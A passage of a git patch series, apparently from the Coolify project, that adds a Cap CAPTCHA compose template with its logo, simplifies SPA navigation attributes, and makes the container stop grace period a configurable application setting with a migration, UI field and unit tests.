zt`v0c=p_wHWaj-ku;TWT8+RD&pSPimr*4R(Kus6kIQFV(goNPUVA8fYpZW3oyb#m%J z`sjA13HU<;peDZuejhs44;NO3$pF@Hg1m=8yEyYd?g!+}g`!oP_fGL`yrEqQ{;j~y zV8fDl^SNSq8$;SVfmO6{zWw=^p87VD>(0Emsj-oi9;_xlw0!=!Mv@piNum0x&Y;j` zpSq^ajWSk>B6dv2RYw%2sj105^Rd?Uvej*?(Hmj}DNL9JvmEjbNE5?id;5X!cYsPU zEg<);Ofr;IFHKEW#woH+9|D-pg!}|7&OJaUg`jvHKoP7Ui%?T4-;_c5lpr3zqu2Ip z>F0tG!|bm?(~<2dy$Sa8wYXSxJXuwr|LeBL3^eZFe|qJ%eCYvk(z}fmU`Tiu+$QI) z8DprzNK{4cH+<}CO90|Cvi3CX{5p#bx;KQfGv=ypeL3@IWwbBM6>bs;GVpZ+Q8oXa z1Hz>0?=Az;MrrUuRY;VIDP(MSuZ6Z!_w>(q;27Aqe~RR=rB0n0U`IE045G5us%5#@Nz@stgpSMdu^G27!ptI~xKN}oQgs-E6@5acn3 zP%y-I#l|y3=&*b9#@50ZSh*X1y;%_?J}e?}2=a!I4+NN){wx5dNx!2`qJUSnG(7!? zAM>it6ib<~hj7OShy>Wcb)e!j0KDJ6lnD|bVemKlBjd`%=xo8SD!Jm03AeGJYW@SZ zFUR|=m93o@nR`|H1bQNIS@?utm><6oFgyLWyUG_=p%;8{aoXy-tAw>_!#Q7O!=Qr5 zb4k~44{=V3&tp&E9=mKHFFMv+@6B{JC(VK^_*Fs9c&q&Yi2e#YY8JhCBpw_yB zY6x{Vj`)sVj;UStQwRR~cgNc%qJY2s+=6w}u}#j& zr5esu#FBCMw~1xBV%om)MV9XJyEdFja5MSt^*ZUn^R_!g|D$_l?1I^8R+}g)OQ!3~ zGX>cP_r~+PJ|L$AI5{fYqLXkLD1S8F0c>$;-2qEur9B;b$W{4fm@QSr7zAzj@_{-lCYxQ8BG{T8W0#U$IFw{g-uD~z4k2Dfjsq%((@tVQQG(phI}bd8 zYMs{7t~D6%5V|#Nsv~$Rm21e4aEeQdGrL+LToS*2OP^oQ8>DEa7QEz_@2C0!F)$n> z-cY2kswF}us_Q;#Mg3kiJvfL7`%KR$C^w?YNg%-^Z}FEc7q zPgnprZlOg*DUGiwA_G8hsa|pn1SPpzAyRrB9saM!Ee4^KOO~l#PH5>iB z^X=Z1*cp)!?u2$%{5#j##d|Ai_WZm~9bAPm0;ci>xv(pU%<3*b&|?>%KrTIJS-1x* zAam*tG`Z#BKLFve_sjv_SK#zVkuFK1cNT6APd-9?xkLc~MYQF16j2j{CSs#rJOvam z5}B8uS4p~Gh}n2AFVj#wG4f%;Yva>qLHD=7O0L;SLDQhJ5B?bKKYsnu3jU;Iz(6^n za67!^4>b)|b=aO>Ya#bU{BDt=>6tJixtJEGU?8(}r_9aU{1t0;le>O|92C($6cIxT z-WC5$#EQ@)bcJ|S*zg`GBm9uhPjCTCRNF!ms7o=tdz1d}x8c{~Dwndq$*+T5?23%k zu7aS;``M}gjQg8OyDQ@rtlpo~%>0FjU_T2BpWclS9mIxW*zJu;(O%)K*JpC2D&r#- zhPKE@6WJ(W<0$5HIGw{Wq1mNdfM>24NMP8je?M;MSV6f6Cus~=b~+!jKh_RY1cx(T z9(34wmLuu|4WS2FE(6O)=iGuUxk_sm2lYDq`?%#58xw<9%lR+O^y23p(d`Le97b)4 z`^W=2tKg0h*V#)!$xohUoR^K|BUg8Q1 zj67xIr;i4vMRA?D32?VG{1^sf4HOX0f$Of;uF$~!bt7J09Ljh)H;;`KVa#^iT`;gM`ox%W4J{Kv^qXKcq*VD+V|BSOrhLUf74PJ#809Ut<&uqdV!9F9e?D_@A* z>WJqx4!|U;aPAv_vT*FFBVo_o5Sv|=-XMdvc_H#mi4l||eI24as%v1pUN%g(eqs5i z)^O-tU)7~xdO`EG+&aVEwli`kWL$*rVkg@%n@o*64VV<4#<-dg19pJF%fV%nyksr+ z--jfvvxAR%c!(U5_b8}6uUH@(az4mq=-=Yn)bOh#k=H}qu5{kSG_5^fjGf~Cs7Hc0 zm=+z8zW1x05a;Aora>U!w8iLM<{e-@h=m&kpH`QtX>Ed!Hx^GtuH6wAJ+X6oy835aqCi$+GNXW> z>Op(}1kh#su`kZMYuPJ%*XDP?Um^BlY=$3ETu*M5`Z0>~mPxybUv_}wu>BQ6j!5YG z+m3_a=7bnqSby^m=f5Pid`e@a;Y7i>n=rRjK6T-gz$%}1Uftvxb1+xKy#N*wI(mq% z!uk1={Bq)AZv#jE%h1BY!lLeR=0;Y7UqkGATb{qlx{x;EJpII8$%YrXN{NV@eTYok zup4KBehi?zj{%CTc8Nb3!gMK zC;gI%-;XCvjy<(_t7i5wnO;aJYta1IcvXD@ad{^TusO#~zUuE=hXLud4Y|`>$YkVa z{pQKp-@j+KalQR`yjccAjlVpAt@~P-ygcFo?3Kt0WEozh|N76F^Cm8Gna z_q$Fj5OtZ-m88BrEsnYH` zF$he9JiwG-$&e7(D#aPBsqiDlgyUKuV^)XrvcF19XKmu_wNoV< z%b<$8XG4--c4OV8yEoj|jYI1Dh3Azv_(J6raOE&_f6JwkwP)+4x{H$0jtv0aY&n1bk(6SOFEm>p zKm4_ExD5R=LWpE7L4R9z{WaYv{@*PVJwk9?&>wVAmJIG<3b__Do|<|S{Dw^T-o}&= zd-g`}@_>SC3Mby5(&&4}_}oYffTT$ZULEFJJ>+vKQGIH`LnFZq>@I8dF#_8MjQbJm z67ww@%a#?A0q!)!J~Wuv$zqOgDl2}7TEfRQ52_MW%lyvMwUGLKJMjhooJZWwLSBeWSfhEHP^)|}dxvdY(N(px{&dRQUAMDNlf!@p zV8cd1N1QeQXYSEgmf%bTO5%WPWN$>z9ifk!+0^y3S*`@j+XxH=je55D%>`+)ogf2Q z5}Wca(~t1#9t_2yqTPn~Eaz>rZN$$+GyFe~Q}$fFG}o@`G@m0|cn0!AVR#qa*C;Wo zIY?m3mjB<30GA;&TYV)+8v@^#z;GZDY+gNBrsK)DO4iMZ&ICIo zqD4gHU&gN)HuvRva&k*sTmH8Y*_%Xf_b(cZPcoc&@1rmi^exV&IG%zp^3x0F~hy=~tl3+EGFSpPce&H~CP@Q~+9=V}x#0k&l zh+XlQjc3Ji5a{$CxFc96&YS^4g%JZkM(=2)^ZSlE#}{s%VuLZ?*ZY4h+gqF2S~Esy zL$rD^FMJDqn&Y^g7Zy;1I8FZ|Awy_pv%hK{!bnu=L&uO^(hm0lM?)B6KcTR~E)j4d z%_8ps{h3$58-`ns(_;|AquPKYI2{>k)!E$zH710kjrU`F%WX(;3oqG;ivz!RUsOcj zhs{o&mI3$b!UinN_cw%2G@n%AcCY-7uB^z+RoK^6CA0$GJrWzxs-}~MeT<-Py=)!G zxzYzlst~QG9z8*P(KuL({g@wu3&(l(_u*i4gJJ~E(Izh!UEtva-Twt4O8@-Y|KaCW z8J`(#iBmgHkzdoJiSeJ=tGy!0zZyB&*8g%Ey;`q1ev81=kGoizr4~!^+7zigdF_V! zr#?;AwphgAXG^3>K!mcByOoNO64x0azW4@MVfil|PRK*FDr5YhX!h>I3Grc>zzH@K z5J2eJm2e{qQXB_f;Z5m*jhM^lYtv9q;D=SXA!{er=UfHP?D2vsKrX)WA<0CK_#JmR z#dOE1_9mb?bgx+_>)h``f@7#`HoTEDcMev(6 z4Je!}G1~g$3u*9cthW$!1e`}K?-g?m*LmbF6P48|LzJrK!h-8%%9_qitGF!`JJ=rM z3}E7h>CtM!^Lyaa0cPIoit*>y-%MFdcet@Hvev$+9i=pSf&RC#G0`zG^OiqD#3i~5 z8q=0aT|!*bY~2 zg+$r<($G@d%NPSfmlr(P$goHCryq6A@sX;$xtoD{A0qG*S8=B>K^r&#I*}b+8U=_s z!d+WYq2P;NWs&WVPx%G2POKq$SL=N0EWL!bp*TWe)IsV-M-+3)EZ44ybiM5OQ$N;A zniv1za)z5XEOYcx>)s~|m2a6}-G*<-QJoowuQC-TX{VuWh(a`KS?lI#Z-y}A6Tx&V zbRVnr>M3Xnw>m0xC88H4*?2@B=U9flVaU;2^Pdt#Km9o+{qO^-)k2=k)5rFzb6HoZ zZ25;~ym&Tmz4WISXOrHd3qw*R-1(imhnAhMO6yLMXT?obku5UZ9-Ag7V7HL)Q^p;j z4#)@kgtP)nwq;7F(Ahy^3VB!=IH~7f8;o+)KQH4}siH*4akMyth+$Z;{#mKLCgq(} z85}fh$GR_vS~RLDnh?fH|M^Q3blnY`>bw!g?&imdwG+YFcc{8CTh8Fk%1+}NhAfbg z_Wg(0ABpj8>qOs&JXS(<5s_C9c3KlTBQ7AW8lliBo!2rogxlpqs@m za6nR$TD@9>NcZo+OE*r}*{-j>6MWf>`A7NL(t7q+XZ`U#Q6+bQBLa^{zr}UbbZKly z)E29LQ0T!~31X@YEN=TVkFDr%rbb`TNBzuK205Sq@_eP_t->F4rVM+nB6%OK+Nr1t zD~u2P7RMn0Ucs4;sQG^hZ~gNKveXYJycI5q(wb=g@(?({?`P#tc4F>s1cHzt{6@&x^aG6%krEZ)oN+Q}DYPLe#QK#5oBUrP){GS+ZOdj~K*|zH}V{L-&YzEaPKPEZWBLE(!|`>k6FORC+m5%~yg` z=V{5LBcC$t4il^zJ7y0OJR`y5N(8B}XR6W~+vth(gR!Jc*Mth#URD}l3WQMKg0n>W zfaHIonZjCGtuW53HqmGq&dvC#fht)1)L$D#R-+6jcnm+8NXi^d<#1a^N9IA&dl33b zir`6~T6ZhfeI1i7X*pJJqg<8|EuM5qh+0YY{%$R75(ktf0ibG9oLxO|11N%h6M7+` zRcPQ!Ro)8Yg=u%YA?u$lx<)e=Yh9-WTM0%l#5y(J)f9q+&5c9E-=uO{1%3B!k#_=NG)nHMJFTAnF9v1ot1GFM*}g@GO@aOq!xF!`fI->=mLKFU zWc4}+{0>k2>S!LZU^T^WP~%x%dG=E0vAsz0V%^C4kD96B-YInm!W$^!zQCr_%QOfn zSpXgfy92eiOKC!NXRiQL2$h!6e8L+~DI2>DP=zT~_SN?0rsm$N($d%ytQ!2_9f2h6 zs?LM0Nksroc9Epm^Z?N1Hw>aQD`5m^;FSiBJSxE=KQt(J{HrgP8qC z;FJ>w6EJF?oS80|RM^M@v$ha23Nj`xO_NfMk0s$uEIVE_UO+$GdovgFQ3-kmQ!0Wh z-v?iD1CnzPvlYaj7j`K49!y60`W!?iUAehZ2{S$ zqbc3w;(;Gok|#~4Aqke`5e>)*iP;l-@M6T#5%X9eE+>y9I*oTVWnHZqe0CNH1pN?} zW7*j&`v_O4U$eqKwsYoK*((J-9r9wR>w3}(vQQ10?X5>3^4D7ADAM28qGYyE(os4J zI`Ek)Uqs+ZwWPrQ;It7>M`t&boX{*R_yGh-yU|wm(z0`6o$q{^+j|h-gI* z>y~d7at@$~JE?u+1_Ge`z!3hr5YG`t$DW3MLHD!BdpgDTG56|HAL9RRux#)s!9-w2 z`1>cgU{uJbX;>JXF2=NWCj86dDiom3016OlS)iu4vOEKScDnaM@P-yAPt@d_-H?c@ z`6tL*B*yX2C5ZA7e`&*+GqUm_s@@+Pn9#!4qcXQs%Sawz68{sn273F^iI6B7vu934 z|&ukGMm0jz33k?~ z6Z9^Ud6fS~qFmE(8#wl(`Z1d?Sq#TY2#~VR5E>$nMy=nKubR!!MA&K{=s>-)$rIS9 zj0u0#Rms7gr^r9u^R%U}#drROsde~8YBcFV z4lAb^dnw|{k*$W>Zg)?Ws#Zhz&DQWE_e83t$4@czW|(J&GhWdiXI~^Gli<3UW_l(% z=}-jhiRi8eX!|TXpJnJBUv+WqXKBo|^7@l-C=|9{OXtJr#z1qLGju8dc4-eGg?(HT=1jl}H2hXFFpUH)HzDxh3_+eGE@^@4Bz|xGeKX+@Q5m|;H ziE#&A;is<>ZjjF#qfeK+i$6=oU^s&0+0ZE3^}&ThJIexAfeIO_7QF(Jh~bE^awfc; zO8*+e_u;+gg`_q##J-D&L0=_~qc3ZM<8nVmX?Bjsl0-MzQlH|!`i1$W#3k8?^4V+U zmP5Dh2g`t>3^VdOu(QI37?|MwJlG8BIFmYCsw0?!Uy51slFuf$*oqWJl9NH-)$LnF z6BQ+S#LYklA(OTd^~5=~+hhz)pHM_MDuj~({Rj(S;PVc1j4wCxu9;+t4b^`SpHKSJ zD;L_Sax3x%%KJ?YDptnn)?Q*E;bWfgE*HclUEcMmnHDDL0EhJROHOQAt%>!wSST3A zoxTKd~%u|%!(4*=mTaes6zc!`0 zi^f$vKQ|^y^Fa%3 z>O0LI-%N>9%w6VhuF?3*D7~`kYTb7&N5e|H+TbXp7CaN)ByzZ=VD2c>uml?AU0Vrt zTgG026XCCrnVgF%xVV)?Bd`0g*26@v9!$p_yJ{V+(G~|7a<9pc_w++0TTiqWdRqQT zOHu=pIZ$~;G56$pe+P{gBbW;f9d3AHujoC#Qz9+?k*rhxq^odOH@WOdnUw(pXQl95 z?d3B5sfDdaC^7hxJ8)GPs)`RD^{R%=H`Xi})yOl>qg|jvq#l|j3TzR`=^3|8Evik( z*O;(WUuCsd4qE>zSZ|-48#t$08C$b=Q2y^o-0C(<)`0Odn7(Y7@Lth;NJp~J#$FBn zdM+>_s^qy0#*cr-PbFxZpXPnUDb5t(VWp`1z3tG4#IuKMiDoDqI>ZcJXiudo5T=rf zmdpCCoj`k>)6EPr1^axCi_uFToby$kUuaxdeUPICH5QokHtvq$1G!sQ{)#HL|{riQPp~v^=T-M&F z1AK!{+#;zvND;QNf_`J4N%lE7?v$2x2JisTV=-(chlBN<=V�*kz&_qRd{?&_%W7Gmjm&u6s}H9|{L_D4l`f~Na9Y$9*+qJoGPOh#cW8C`f$wzxTwA~*>`*q@M0h;*G2sKkqrE%%(o4vf_i<_SYZi^BKdt(4c`Vsh z_;n6+7RHGKH$0T3g^4kfpZ1wyHp#j$wyNSJtO!}_(BSUfdPc?4ztxrAlv7kn#U7x9 zUc)+@0Xyjt%-{E&$#u70@3hl@aN!m#uO3`fzHu~8@SIY%WY8tx&H&KZkZ_F`RmqgN4*s&6n>AQgg?x?eYLUC%VKK^3nv5ne~ zKs~sd9m+EmV-;pmp)cxAt}zk+3{OSPUQ0PWDx60OT2?Q{`L#XVPnx(?oM^Lf~e zTOO9TAQm&{{0j+L`{C>AThnloKF0ouy0$hw&SLfT&-h(_U4XrHX!Rsa0hzd*gS)(>qfWxbhHyuyx8BjKdpG~y?6jTA z={&*K$Q5DH-Ge$?(?Sc26E%-b#_5iB22XmqHe=aK^QIeQJ?l2S_ShKCAOU&+ML0Mo2vg%U=u6j4|nQoV{ zJfkh)YnXVH0`mkf_eV$2J+4nifR9{)D}42mt@egsb%9d()*$^)wU)v4Qte`tdbXaT zD=g)1JbKAnI}}IUb+(mC6jMpU9kjqcpKJCxW!ECQ?TKCmsB~1_flw&^8r*}!Ha(8c z{kNDKW7Plpi1I;R{1^cz^!Y~oloe^AyZ+WKqS5rmz@*;i%ik9H>jUfSbsdX!6E2r` zqA3^bf(M`yj9V;X%+_779-Wh>nrhaVe1=RF3-RTZJVpn~F)q?*TpRq-xZwJETeIg6 zKWWo{-}dBHF81`;wxrg*B{udRgVQ$W*4Mvr9iRHY>naa|@06`b6#WeckGAl$s}y`iy|a@cV_Jjl zoV&biK>2tc9%)f*?rXnIF^u$S(!rKCkXnskl;oiiRW3W)Loj?tb<@q; zv|QNpDE&#yolL83S-;U&<9%Z*$LEFxFLsY~Un0DQ#aU8+)0Li+uSeOst5vEhRBnsf zYYW4EdQ3bM0&A)qnUnVC^UNMVi|-%n$*tc8KVYY?beEmAUurQ_QY+wK0a4>Jf@jAsSQ?B93k>)bfzFxSyuVuYXFLHJc%S7+PK- z1q1?0x2UU^o2MS=lrd?O#|~E+Sn>*wC)L%xv1N57QSZ$o!x7v5Xi!6yg;E5`#mLp4 zpRmU#8iyNe{C(qZ{I_|32k+CqHM=OOX;NI~slNuaM~K3qVX@V{R!XckaJTG7=RoGY zc7iob{_?iI+Nj5^!%hpAH4cs7&$iG;*6RN^;^L=`H5s%?oly4l%EL+dKq^08 ziHT~6c~|i!esCq9Qxm$P((zy+S&o=xa3ghnJS+%#R8+-lt;o+aky^GtU2N}Cnt`2_TqOiF9X`ftvp$I za^)(GHio}Ak#mfyPir_9QYZU;!*1!|NG+$)GqaVj=N?(@KoB$ah#$4)T7R4aw&&0a zh4(Ykjq`r->a+UgHhmUdi|D!1W>L$m`|%EU53IBp9D4huz;Op$^LWw>R_^j0OO38> ze~ZxNl8pzn!Nq|60zRL>>+{de-}*G;4)3@-@A<;v8mXZ#@E!e%E~vX>#VHpmw(n$k zYJX5Hn?lT_ip@-kZ#Pf5&N{gCX?SD{;uw{)$XxIZ{33IR*Uqfc^gpy7dHF9sD&TMs zfg)M6pW(Id;?sV@Wy4GQ)`-hj849xCV-cyLk;?eBlh`*6_x;^?F)@ktyk_6P$+OuL zBQx(DtN6h&>RF9BAF$+agiefy$#O(>e?<`KzuBv1w2;m3?^W8FIhRIqiv%8~ zl*jwp-bS$&=RIGKpY>TGUpZirpc&`Qb-rwvGeaGE*Zup_4bzy;d^*BTw&B!Ta}`aV zR$qSsO_LdE==j??<6ag2hCe(uXdh@kk?_<1aZ&o*?z~XM@~t!3uo>j?snu(Kr*aYx zw9`}ab7C+5CcQmL8o~1N{&HK2_-)Ctf!7~|tVCXa@n*9sNW|dzT|dcbZE^){omq33 z{H?LJjl9f|jrS|A`R!HQacqXN)_(BWpFF(6^s=$+)yMrGG$y?KJJ;ieZ@FqtS4$Mi zJUWGICrlBqzW;Dx$3pjo@P1O(LxF2|{YWUK?|1P%lJ(x0{0sQLJ+{aF59XgJZ73`p z9WioSihOd%Wjo@l%=Bey0ySGABZ?N3=@rHOt1ocAAXx2wEE=m<|DP`x?>UnGqN$5i ze42+1(93_D%^1*|c=Q#A0u;7=t6PQP)iz21> z4_2+qi1y}o{dXjJ9!}V6oEKmxV79h})V1bex06 zSf_5}d!}DG@q{nx(;9TOMps`ZtvTzMq1+3nZX35z5cvOiF-3SHml&+f=cuvi|J~Mk N-(kmh_QV9?{{wyt;b;H= literal 0 HcmV?d00001 diff --git a/templates/compose/cap-captcha.yaml b/templates/compose/cap-captcha.yaml new file mode 100644 index 000000000..365dc4a2f --- /dev/null +++ b/templates/compose/cap-captcha.yaml @@ -0,0 +1,27 @@ +# documentation: https://capjs.js.org +# slogan: The self-hosted CAPTCHA for the modern web. +# tags: captcha,security,privacy,proof-of-work +# logo: svgs/cap-captcha.png +# port: 3000 + +services: + cap: + image: tiago2/cap:latest + environment: + - SERVICE_FQDN_CAP_3000 + - ADMIN_KEY=$SERVICE_PASSWORD_ADMIN + - REDIS_URL=redis://valkey:6379 + depends_on: + valkey: + condition: service_healthy + + valkey: + image: valkey/valkey:9-alpine + volumes: + - valkey-data:/data + command: valkey-server --save 60 1 --loglevel warning --maxmemory-policy noeviction + healthcheck: + test: ["CMD", "valkey-cli", "ping"] + interval: 5s + timeout: 3s + retries: 5 From 19767a569be463e86e4040a01b49676c63cb07c2 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 22 Apr 2026 20:55:09 +0200 Subject: [PATCH 067/329] fix(navigation): replace wire:navigate.hover with wire:navigate Remove hover prefetching variant from SPA navigation helper, both in the happy path and the exception fallback. --- bootstrap/helpers/shared.php | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php index 881211513..9f0f2cd73 100644 --- a/bootstrap/helpers/shared.php +++ b/bootstrap/helpers/shared.php @@ -3532,10 +3532,10 @@ function wireNavigate(): string try { $settings = instanceSettings(); - // Return wire:navigate.hover for SPA navigation with prefetching, or empty string if disabled - return ($settings->is_wire_navigate_enabled ?? true) ? 'wire:navigate.hover' : ''; + // Return wire:navigate for SPA navigation with prefetching, or empty string if disabled + return ($settings->is_wire_navigate_enabled ?? true) ? 'wire:navigate' : ''; } catch (Exception $e) { - return 'wire:navigate.hover'; + return 'wire:navigate'; } } From 60d8aba323bf3332f2e5772d321106e2e5fd617c Mon Sep 17 00:00:00 2001 From: Hendrik Kleinwaechter Date: Wed, 22 Apr 2026 21:18:18 +0200 Subject: [PATCH 068/329] feat: configurable stop grace period for applications Adds stop_grace_period to application settings (seconds, 1-3600, default 30). Used in place of the hardcoded docker stop -t 30 in the four places that stop application containers: rolling update shutdown, manual stop, stop on another server, and preview deployment stop. Non-positive values fall back to the default via ($val > 0) ? $val : default, with tests covering 0 and -10 so the cast does not blow up if a bad value ever lands in the db. Picks up Jack Coy's work from #7125 which went dormant. His commits are squashed here with credit below. Co-authored-by: Jack Coy --- app/Actions/Application/StopApplication.php | 5 +- .../Application/StopApplicationOneServer.php | 6 ++- app/Jobs/ApplicationDeploymentJob.php | 13 ++++-- app/Livewire/Project/Application/Advanced.php | 35 ++++++++++++++ app/Livewire/Project/Application/Previews.php | 5 +- app/Models/ApplicationSetting.php | 1 + bootstrap/helpers/constants.php | 1 + ...p_grace_period_to_application_settings.php | 31 +++++++++++++ .../project/application/advanced.blade.php | 16 ++++++- .../Unit/ApplicationSettingStaticCastTest.php | 46 +++++++++++++++++++ 10 files changed, 152 insertions(+), 7 deletions(-) create mode 100644 database/migrations/2025_11_05_091558_add_stop_grace_period_to_application_settings.php diff --git a/app/Actions/Application/StopApplication.php b/app/Actions/Application/StopApplication.php index e86e30f04..2badcbb67 100644 --- a/app/Actions/Application/StopApplication.php +++ b/app/Actions/Application/StopApplication.php @@ -36,10 +36,13 @@ public function handle(Application $application, bool $previewDeployments = fals : getCurrentApplicationContainerStatus($server, $application->id, 0); $containersToStop = $containers->pluck('Names')->toArray(); + $timeout = ($application->settings->stop_grace_period > 0) + ? $application->settings->stop_grace_period + : DEFAULT_STOP_GRACE_PERIOD_SECONDS; foreach ($containersToStop as $containerName) { instant_remote_process(command: [ - "docker stop -t 30 $containerName", + "docker stop --time=$timeout $containerName", "docker rm -f $containerName", ], server: $server, throwError: false); } diff --git a/app/Actions/Application/StopApplicationOneServer.php b/app/Actions/Application/StopApplicationOneServer.php index bf9fdee72..cb51bc865 100644 --- a/app/Actions/Application/StopApplicationOneServer.php +++ b/app/Actions/Application/StopApplicationOneServer.php @@ -20,13 +20,17 @@ public function handle(Application $application, Server $server) } try { $containers = getCurrentApplicationContainerStatus($server, $application->id, 0); + $timeout = ($application->settings->stop_grace_period > 0) + ? $application->settings->stop_grace_period + : DEFAULT_STOP_GRACE_PERIOD_SECONDS; + if ($containers->count() > 0) { foreach ($containers as $container) { $containerName = data_get($container, 'Names'); if ($containerName) { instant_remote_process( [ - "docker stop -t 30 $containerName", + "docker stop --time=$timeout $containerName", "docker rm -f $containerName", ], $server diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index 7e5025c8a..229f46cd8 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -3310,14 +3310,21 @@ private function build_image() private function graceful_shutdown_container(string $containerName, bool $skipRemove = false) { try { - $timeout = isDev() ? 1 : 30; + if (isDev()) { + $timeout = 1; + } else { + $timeout = ($this->application->settings->stop_grace_period > 0) + ? $this->application->settings->stop_grace_period + : DEFAULT_STOP_GRACE_PERIOD_SECONDS; + } + if ($skipRemove) { $this->execute_remote_command( - ["docker stop -t $timeout $containerName", 'hidden' => true, 'ignore_errors' => true] + ["docker stop --time=$timeout $containerName", 'hidden' => true, 'ignore_errors' => true] ); } else { $this->execute_remote_command( - ["docker stop -t $timeout $containerName", 'hidden' => true, 'ignore_errors' => true], + ["docker stop --time=$timeout $containerName", 'hidden' => true, 'ignore_errors' => true], ["docker rm -f $containerName", 'hidden' => true, 'ignore_errors' => true] ); } diff --git a/app/Livewire/Project/Application/Advanced.php b/app/Livewire/Project/Application/Advanced.php index cf7ef3e0b..862181ecf 100644 --- a/app/Livewire/Project/Application/Advanced.php +++ b/app/Livewire/Project/Application/Advanced.php @@ -61,6 +61,9 @@ class Advanced extends Component #[Validate(['string', 'nullable'])] public ?string $gpuOptions = null; + #[Validate(['string', 'nullable'])] + public ?string $stopGracePeriod = null; + #[Validate(['boolean'])] public bool $isBuildServerEnabled = false; @@ -145,6 +148,10 @@ public function syncData(bool $toModel = false) $this->injectBuildArgsToDockerfile = $this->application->settings->inject_build_args_to_dockerfile ?? true; $this->includeSourceCommitInBuild = $this->application->settings->include_source_commit_in_build ?? false; } + + // Load stop_grace_period separately since it has its own save handler + // Convert null to empty string to prevent dirty detection issues + $this->stopGracePeriod = $this->application->settings->stop_grace_period ?? ''; } private function resetDefaultLabels() @@ -252,6 +259,34 @@ public function saveCustomName() } } + public function saveStopGracePeriod() + { + try { + $this->authorize('update', $this->application); + + // Convert empty string to null, otherwise cast to integer + $value = ($this->stopGracePeriod === '' || $this->stopGracePeriod === null) + ? null + : (int) $this->stopGracePeriod; + + // Validate the integer value + if ($value !== null && ($value < 1 || $value > 3600)) { + $this->dispatch('error', 'Stop grace period must be between 1 and 3600 seconds.'); + + return; + } + + // Save to model + $this->application->settings->stop_grace_period = $value; + $this->application->settings->save(); + + // User feedback + $this->dispatch('success', 'Stop grace period updated.'); + } catch (\Throwable $e) { + return handleError($e, $this); + } + } + public function render() { return view('livewire.project.application.advanced'); diff --git a/app/Livewire/Project/Application/Previews.php b/app/Livewire/Project/Application/Previews.php index c887e9b83..9dd494f5c 100644 --- a/app/Livewire/Project/Application/Previews.php +++ b/app/Livewire/Project/Application/Previews.php @@ -338,10 +338,13 @@ public function addDockerImagePreview() private function stopContainers(array $containers, $server) { $containersToStop = collect($containers)->pluck('Names')->toArray(); + $timeout = ($this->application->settings->stop_grace_period > 0) + ? $this->application->settings->stop_grace_period + : DEFAULT_STOP_GRACE_PERIOD_SECONDS; foreach ($containersToStop as $containerName) { instant_remote_process(command: [ - "docker stop -t 30 $containerName", + "docker stop --time=$timeout $containerName", "docker rm -f $containerName", ], server: $server, throwError: false); } diff --git a/app/Models/ApplicationSetting.php b/app/Models/ApplicationSetting.php index 731a9b5da..c365bd187 100644 --- a/app/Models/ApplicationSetting.php +++ b/app/Models/ApplicationSetting.php @@ -26,6 +26,7 @@ class ApplicationSetting extends Model 'is_git_lfs_enabled' => 'boolean', 'is_git_shallow_clone_enabled' => 'boolean', 'docker_images_to_keep' => 'integer', + 'stop_grace_period' => 'integer', ]; protected $fillable = [ diff --git a/bootstrap/helpers/constants.php b/bootstrap/helpers/constants.php index bae2573de..ee6a3bc03 100644 --- a/bootstrap/helpers/constants.php +++ b/bootstrap/helpers/constants.php @@ -16,6 +16,7 @@ '@yearly' => '0 0 1 1 *', ]; const RESTART_MODE = 'unless-stopped'; +const DEFAULT_STOP_GRACE_PERIOD_SECONDS = 30; const DATABASE_DOCKER_IMAGES = [ 'bitnami/mariadb', diff --git a/database/migrations/2025_11_05_091558_add_stop_grace_period_to_application_settings.php b/database/migrations/2025_11_05_091558_add_stop_grace_period_to_application_settings.php new file mode 100644 index 000000000..cc702ce5c --- /dev/null +++ b/database/migrations/2025_11_05_091558_add_stop_grace_period_to_application_settings.php @@ -0,0 +1,31 @@ +integer('stop_grace_period') + ->nullable() + ->after('use_build_secrets') + ->comment('Seconds to wait for graceful shutdown before forcing container stop (1-3600). Null uses default of 30 seconds.'); + }); + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + Schema::table('application_settings', function (Blueprint $table) { + $table->dropColumn('stop_grace_period'); + }); + } +}; diff --git a/resources/views/livewire/project/application/advanced.blade.php b/resources/views/livewire/project/application/advanced.blade.php index a9f8c7233..362539a3c 100644 --- a/resources/views/livewire/project/application/advanced.blade.php +++ b/resources/views/livewire/project/application/advanced.blade.php @@ -86,7 +86,21 @@ helper="Readonly labels are disabled. You need to set the labels in the labels section." disabled instantSave id="isStripprefixEnabled" label="Strip Prefixes" canGate="update" :canResource="$application" /> @endif - +

Operations

+ + + Save +

Logs

diff --git a/tests/Unit/ApplicationSettingStaticCastTest.php b/tests/Unit/ApplicationSettingStaticCastTest.php index 35ab7faaf..d06ee920d 100644 --- a/tests/Unit/ApplicationSettingStaticCastTest.php +++ b/tests/Unit/ApplicationSettingStaticCastTest.php @@ -103,3 +103,49 @@ ->and($casts[$field])->toBe('boolean'); } }); + +it('casts stop_grace_period to integer', function () { + $setting = new ApplicationSetting; + $casts = $setting->getCasts(); + + expect($casts)->toHaveKey('stop_grace_period') + ->and($casts['stop_grace_period'])->toBe('integer'); +}); + +it('handles null stop_grace_period for default behavior', function () { + $setting = new ApplicationSetting; + $setting->stop_grace_period = null; + + expect($setting->stop_grace_period)->toBeNull(); +}); + +it('casts stop_grace_period from string to integer', function () { + $setting = new ApplicationSetting; + $setting->stop_grace_period = '60'; + + expect($setting->stop_grace_period)->toBe(60) + ->and($setting->stop_grace_period)->toBeInt(); +}); + +it('casts stop_grace_period zero to integer (documents fallback trigger)', function () { + // Value of 0 is not a valid grace period — consumers guard with + // `($value > 0) ? $value : DEFAULT_STOP_GRACE_PERIOD_SECONDS`, so + // the cast itself must still round-trip cleanly without throwing. + $setting = new ApplicationSetting; + $setting->stop_grace_period = 0; + + expect($setting->stop_grace_period)->toBe(0) + ->and($setting->stop_grace_period)->toBeInt(); +}); + +it('casts stop_grace_period negative value to integer (documents fallback trigger)', function () { + // Negative values should never be persisted (UI validates `min=1`), + // but if one slips through (direct DB write, older data), the cast + // must not throw and consumers will treat it as the fallback via the + // `> 0` guard. + $setting = new ApplicationSetting; + $setting->stop_grace_period = -10; + + expect($setting->stop_grace_period)->toBe(-10) + ->and($setting->stop_grace_period)->toBeInt(); +}); From 833f5769e557e5ce2cbf56b56d1e2ee5b2712a35 Mon Sep 17 00:00:00 2001 From: 